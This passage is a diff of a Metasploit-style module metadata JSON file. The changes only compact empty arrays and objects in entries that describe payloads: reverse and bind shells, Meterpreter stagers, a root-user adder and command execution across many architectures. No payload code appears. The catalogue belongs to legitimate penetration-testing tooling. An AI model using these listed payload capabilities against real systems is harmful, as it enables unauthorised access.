target OS without touching the disk.\n On Windows, this command will flash the command prompt momentarily.\n This can be avoided by setting WSCRIPT to true, which drops a jscript\n \"launcher\" to disk that hides the prompt.", - "references": [ - - ], + "references": [], "platform": "Firefox", "arch": "firefox", "rport": null, @@ -242535,8 +215789,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242545,9 +215798,7 @@ "payload_firefox/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via Firefox XPCOM script)", "fullname": "payload/firefox/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242555,9 +215806,7 @@ "joev " ], "description": "Creates an interactive shell via Javascript with access to Firefox's XPCOM API", - "references": [ - - ], + "references": [], "platform": "Firefox", "arch": "firefox", "rport": null, @@ -242571,8 +215820,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242581,9 +215829,7 @@ "payload_firefox/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via Firefox XPCOM script)", "fullname": "payload/firefox/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242591,9 +215837,7 @@ "joev " ], "description": "Creates an interactive shell via Javascript with access to Firefox's XPCOM API", - "references": [ - - ], + "references": [], "platform": "Firefox", "arch": "firefox", "rport": null, @@ -242607,8 +215851,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242617,9 +215860,7 @@ "payload_generic/custom": { "name": "Custom Payload", "fullname": "payload/generic/custom", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242627,9 +215868,7 @@ "scriptjunkie " ], "description": "Use custom string or file as payload. Set either PAYLOADFILE or\n PAYLOADSTR.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, @@ -242643,8 +215882,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242653,9 +215891,7 @@ "payload_generic/debug_trap": { "name": "Generic x86 Debug Trap", "fullname": "payload/generic/debug_trap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242663,9 +215899,7 @@ "robert " ], "description": "Generate a debug trap in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "x86", "rport": null, @@ -242679,8 +215913,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242689,9 +215922,7 @@ "payload_generic/shell_bind_aws_ssm": { "name": "Command Shell, Bind SSM (via AWS API)", "fullname": "payload/generic/shell_bind_aws_ssm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242715,8 +215946,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242725,9 +215955,7 @@ "payload_generic/shell_bind_tcp": { "name": "Generic Command Shell, Bind TCP Inline", "fullname": "payload/generic/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242735,9 +215963,7 @@ "skape " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, @@ -242751,8 +215977,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242761,9 +215986,7 @@ "payload_generic/shell_reverse_tcp": { "name": "Generic Command Shell, Reverse TCP Inline", "fullname": "payload/generic/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242771,9 +215994,7 @@ "skape " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, @@ -242787,8 +216008,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242797,9 +216017,7 @@ "payload_generic/ssh/interact": { "name": "Interact with Established SSH Connection", "fullname": "payload/generic/ssh/interact", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242807,9 +216025,7 @@ "Spencer McIntyre" ], "description": "Interacts with a shell on an established SSH connection", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, @@ -242823,8 +216039,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242833,9 +216048,7 @@ "payload_generic/tight_loop": { "name": "Generic x86 Tight Loop", "fullname": "payload/generic/tight_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242843,9 +216056,7 @@ "jduck " ], "description": "Generate a tight loop in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "x86", "rport": null, @@ -242859,8 +216070,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242869,9 +216079,7 @@ "payload_java/jsp_shell_bind_tcp": { "name": "Java JSP Command Shell, Bind TCP Inline", "fullname": "payload/java/jsp_shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242879,9 +216087,7 @@ "sf " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Solaris,Unix,Windows", "arch": "java", "rport": null, @@ -242895,8 +216101,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242905,9 +216110,7 @@ "payload_java/jsp_shell_reverse_tcp": { "name": "Java JSP Command Shell, Reverse TCP Inline", "fullname": "payload/java/jsp_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242915,9 +216118,7 @@ "sf " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Solaris,Unix,Windows", "arch": "java", "rport": null, @@ -242931,8 +216132,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242941,9 +216141,7 @@ "payload_java/meterpreter/bind_tcp": { "name": "Java Meterpreter, Java Bind TCP Stager", "fullname": "payload/java/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242953,9 +216151,7 @@ "OJ Reeves" ], "description": "Run a meterpreter server in Java.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, @@ -242969,8 +216165,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -242981,9 +216176,7 @@ "payload_java/meterpreter/reverse_http": { "name": "Java Meterpreter, Java Reverse HTTP Stager", "fullname": "payload/java/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242994,9 +216187,7 @@ "hdm " ], "description": "Run a meterpreter server in Java.\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, @@ -243010,8 +216201,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243022,9 +216212,7 @@ "payload_java/meterpreter/reverse_https": { "name": "Java Meterpreter, Java Reverse HTTPS Stager", "fullname": "payload/java/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243035,9 +216223,7 @@ "hdm " ], "description": "Run a meterpreter server in Java.\n\nTunnel communication over HTTPS", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, @@ -243051,8 +216237,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243063,9 +216248,7 @@ "payload_java/meterpreter/reverse_tcp": { "name": "Java Meterpreter, Java Reverse TCP Stager", "fullname": "payload/java/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243075,9 +216258,7 @@ "OJ Reeves" ], "description": "Run a meterpreter server in Java.\n\nConnect back stager", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, @@ -243091,8 +216272,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243103,9 +216283,7 @@ "payload_java/shell/bind_tcp": { "name": "Command Shell, Java Bind TCP Stager", "fullname": "payload/java/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243114,9 +216292,7 @@ "egypt " ], "description": "Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, @@ -243130,8 +216306,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243142,9 +216317,7 @@ "payload_java/shell/reverse_tcp": { "name": "Command Shell, Java Reverse TCP Stager", "fullname": "payload/java/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243153,9 +216326,7 @@ "egypt " ], "description": "Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else).\n\nConnect back stager", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, @@ -243169,8 +216340,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243181,9 +216351,7 @@ "payload_java/shell_reverse_tcp": { "name": "Java Command Shell, Reverse TCP Inline", "fullname": "payload/java/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243192,9 +216360,7 @@ "egypt " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, @@ -243208,8 +216374,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243218,9 +216383,7 @@ "payload_linux/aarch64/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", "fullname": "payload/linux/aarch64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243228,9 +216391,7 @@ "Adam Cammack " ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, @@ -243244,8 +216405,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243256,9 +216416,7 @@ "payload_linux/aarch64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243268,9 +216426,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, @@ -243284,8 +216440,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243294,9 +216449,7 @@ "payload_linux/aarch64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243306,9 +216459,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, @@ -243322,8 +216473,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243332,9 +216482,7 @@ "payload_linux/aarch64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243344,9 +216492,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, @@ -243360,8 +216506,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243370,19 +216515,13 @@ "payload_linux/aarch64/shell/reverse_tcp": { "name": "Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/linux/aarch64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "dup2 socket in x12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, @@ -243396,8 +216535,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243408,19 +216546,13 @@ "payload_linux/aarch64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, @@ -243434,8 +216566,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243444,9 +216575,7 @@ "payload_linux/armbe/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/armbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243456,9 +216585,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armbe", "rport": null, @@ -243472,8 +216599,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243482,9 +216608,7 @@ "payload_linux/armbe/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/armbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243494,9 +216618,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armbe", "rport": null, @@ -243510,8 +216632,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243520,9 +216641,7 @@ "payload_linux/armbe/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/armbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243532,9 +216651,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armbe", "rport": null, @@ -243548,8 +216665,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243558,9 +216674,7 @@ "payload_linux/armbe/shell_bind_tcp": { "name": "Linux ARM Big Endian Command Shell, Bind TCP Inline", "fullname": "payload/linux/armbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243584,8 +216698,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243594,9 +216707,7 @@ "payload_linux/armle/adduser": { "name": "Linux Add User", "fullname": "payload/linux/armle/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243604,9 +216715,7 @@ "Jonathan Salwan" ], "description": "Create a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243620,8 +216729,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243630,9 +216738,7 @@ "payload_linux/armle/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/armle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243640,9 +216746,7 @@ "Jonathan Salwan" ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243656,8 +216760,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243666,9 +216769,7 @@ "payload_linux/armle/meterpreter/bind_tcp": { "name": "Linux Meterpreter, Bind TCP Stager", "fullname": "payload/linux/armle/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243677,9 +216778,7 @@ "nemo " ], "description": "Inject the mettle server payload (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243693,8 +216792,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243705,9 +216803,7 @@ "payload_linux/armle/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", "fullname": "payload/linux/armle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243717,9 +216813,7 @@ "tkmru" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243733,8 +216827,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243745,9 +216838,7 @@ "payload_linux/armle/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/armle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243757,9 +216848,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243773,8 +216862,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243783,9 +216871,7 @@ "payload_linux/armle/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/armle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243795,9 +216881,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243811,8 +216895,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243821,9 +216904,7 @@ "payload_linux/armle/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/armle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243833,9 +216914,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243849,8 +216928,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243859,9 +216937,7 @@ "payload_linux/armle/shell/bind_tcp": { "name": "Linux dup2 Command Shell, Bind TCP Stager", "fullname": "payload/linux/armle/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243869,9 +216945,7 @@ "nemo " ], "description": "dup2 socket in r12, then execve.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243885,8 +216959,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243897,9 +216970,7 @@ "payload_linux/armle/shell/reverse_tcp": { "name": "Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/linux/armle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243908,9 +216979,7 @@ "tkmru" ], "description": "dup2 socket in r12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243924,8 +216993,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243936,9 +217004,7 @@ "payload_linux/armle/shell_bind_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/armle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243947,9 +217013,7 @@ "hal" ], "description": "Connect to target and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243963,8 +217027,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243973,9 +217036,7 @@ "payload_linux/armle/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/armle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243983,9 +217044,7 @@ "civ" ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, @@ -243999,8 +217058,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244009,9 +217067,7 @@ "payload_linux/mips64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/mips64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244021,9 +217077,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mips64", "rport": null, @@ -244037,8 +217091,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244047,9 +217100,7 @@ "payload_linux/mips64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/mips64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244059,9 +217110,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mips64", "rport": null, @@ -244075,8 +217124,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244085,9 +217133,7 @@ "payload_linux/mips64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/mips64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244097,9 +217143,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mips64", "rport": null, @@ -244113,8 +217157,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244123,9 +217166,7 @@ "payload_linux/mipsbe/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/mipsbe/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244150,8 +217191,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244160,9 +217200,7 @@ "payload_linux/mipsbe/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", "fullname": "payload/linux/mipsbe/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244172,9 +217210,7 @@ "tkmru" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, @@ -244188,8 +217224,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -244200,9 +217235,7 @@ "payload_linux/mipsbe/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/mipsbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244212,9 +217245,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, @@ -244228,8 +217259,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244238,9 +217268,7 @@ "payload_linux/mipsbe/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/mipsbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244250,9 +217278,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, @@ -244266,8 +217292,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244276,9 +217301,7 @@ "payload_linux/mipsbe/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/mipsbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244288,9 +217311,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, @@ -244304,8 +217325,7 @@ "check": false, 